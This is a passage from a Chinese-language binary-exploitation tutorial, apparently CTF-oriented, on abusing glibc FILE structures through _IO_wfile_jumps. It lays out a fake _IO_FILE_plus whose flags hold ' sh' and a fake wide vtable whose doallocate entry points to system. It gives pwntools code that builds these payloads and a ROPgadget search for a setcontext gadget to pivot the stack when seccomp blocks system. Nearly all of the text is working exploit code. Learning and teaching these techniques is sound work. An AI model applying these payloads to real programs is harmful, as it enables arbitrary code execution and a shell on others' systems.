| struct _IO_FILE_plus { struct _IO_FILE { int _flags = 0x68732020; char *_IO_write_base = 0; char *_IO_write_ptr = 1; _IO_lock_t *_lock; struct _IO_wide_data *_wide_data = &fake_wide_data; int _mode = 1; const struct _IO_jump_t *vtable = &_IO_wfile_jumps; } file; };
struct _IO_wide_data { wchar_t *_IO_write_ptr = 1; wchar_t *_IO_buf_base = 0; const struct _IO_jump_t *_wide_vtable = &fake_wide_vtabe; } fake_wide_data;
struct _IO_jump_t { JUMP_INIT(doallocate, system); } fake_wide_vtabe;
|
Python代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| file_payload = flat({ 0x00: b" sh\x00", 0x20: 0, 0x28: 1, 0x88: lock_addr, 0xa0: fake_wide_data_addr, 0xc0: 1, 0xd8: wfile_jumps_addr }, filler=b'\x00', length=0xe0)
wide_data_payload = flat({ 0x18: 0, 0x20: 1, 0x30: 0, 0xe0: fake_wide_vtable_addr }, filler=b'\x00', length=0xe8)
wide_vtable_payload = flat({ 0x68: system_addr }, filler=b'\x00', length=0x70)
|
如果程序开启了seccomp,则需要进行rop链的调用,而不能直接调用system函数。此时doallocate需要被代替为Magic gadget进行调用setcontext从而完成栈迁移。
由于高版本使用setcontext需要能够控制rdx,因此最好使用以下命令寻找Magic gadget作为过渡。
1
| ROPgadget --binary libc.so.6 | grep " mov rdx, qword ptr \[rdi" | grep "call qword ptr \[rdx"
|
_IO_wfile_jumps→